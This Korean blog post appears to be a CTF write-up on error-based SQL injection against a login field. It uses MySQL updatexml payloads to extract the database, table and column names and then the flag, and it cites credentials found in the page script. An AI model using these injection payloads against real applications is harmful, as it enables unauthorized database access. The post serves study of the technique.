이 문제의 경우 특수문자를 입력하면 오류를 출력한다. 이 경우 Error sql injection을 할 수 있는데 오류 문구가 출력되는 곳에 함수가 실행되도록 하는 것이다.

대표적인 예가 전에도 내가 정리해둔 updatexml 이 있다.

https://tyrell96.tistory.com/16?category=1008576 

 

[SQL Injection]Error base SQL Injection을 이용한 Database table, column name

Error Base SQL Injection을 이용한 Database table, column 이름 알아내기 Step 1 Error Base SQL Payload 준비 select * from userdata where name='' 은 입력받는 유저 이름에 따라 데이터를 제공하는 sql 문이..

tyrell96.tistory.com

계정은 내부 스크립트에 id=mario password=mariosuper 가 존재해 있어서 그것을 이용하였다.

아래와 같이 mario는 이미 알고 있어서 참이고 맨 뒤 도 참으로 and가 되어있다. 그렇다면 마지막으로 검증해야할 것은 updatexml 인데 이 함수의 경우 오류를 출력시 select 'tyrell'이라는 부분을 실행해서 반환하게 된다.

이를 이용하여 데이터베이스와 table 명들을 알아낼 수 있다.

mario' and updatexml(null,concat(0x3a,(select 'tyrell')),null) and '1'='1

위 코드를 아이디에 입력시 아래와 같이 tyrell 이라는 것을 출력하게 된다. 이를 이용해 첫번째 문제처럼 차근차근 알아가면 된다.

database 이름 찾기
mario' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1 

찾은 데이터베이스명 sqli_2
---------------------------------------------------------------------------------
table 이름 찾기
mario' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1)),null) and '1'='1

찾은 테이블명 flag_table
---------------------------------------------------------------------------------
column 이름 찾기
mario' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)),null) and '1'='1 

찾은 column명 flag
---------------------------------------------------------------------------------
flag 찾기

mario' and updatexml(null,concat(0x3a,(select flag from flag_table limit 0,1)),null) and '1'='1

+ Recent posts